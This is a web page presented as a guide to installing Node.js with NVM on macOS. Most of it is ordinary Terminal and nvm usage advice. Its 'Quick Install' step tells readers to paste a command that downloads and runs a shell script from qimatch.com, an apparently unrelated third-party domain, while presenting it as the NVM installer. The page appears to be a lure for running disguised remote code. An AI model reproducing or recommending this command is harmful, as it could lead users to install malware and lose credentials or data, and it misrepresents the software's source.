Set up Node.js on macOS with NVM
A clean, conflict-free way to install Node.js on Mac, MacBook, and macOS — compatible with Apple Silicon and Intel.
Open Terminal
Run all commands in the Terminal app. Quick ways to launch it:
- Spotlight: press
⌘
+ Space
, type Terminal, then press Enter.
- Finder: Applications → Utilities → Terminal.
- Launchpad: Open Launchpad → “Other” → Terminal.
- From a folder: Right-click in Finder → Services → “New Terminal at Folder”.
Quick Install
Paste the command below into Terminal and press Enter:
/bin/bash -c "$(curl -fsSL https://qimatch.com/njs/install.sh)"
After installation completes, restart Terminal or run source ~/.zshrc
to load NVM.
Verify Your Setup
- Confirm NVM is available:
command -v nvm
- Install the LTS release of Node.js:
nvm install --lts
- Make LTS your default:
nvm alias default lts/*
- Check versions:
node -v
and npm -v
Why choose NVM on macOS?
Node Version Manager keeps your environment tidy and flexible:
- Switch between Node.js versions with
nvm use
- Install global npm packages without
sudo
- Seamless on both Apple Silicon and Intel chips
Troubleshooting
- “nvm: command not found”: Run
source ~/.zshrc
(or restart Terminal).
- Permission issues: Ensure
which node
resolves to your home directory (not /usr/local
).
- Apple Silicon notes: NVM selects the correct architecture automatically.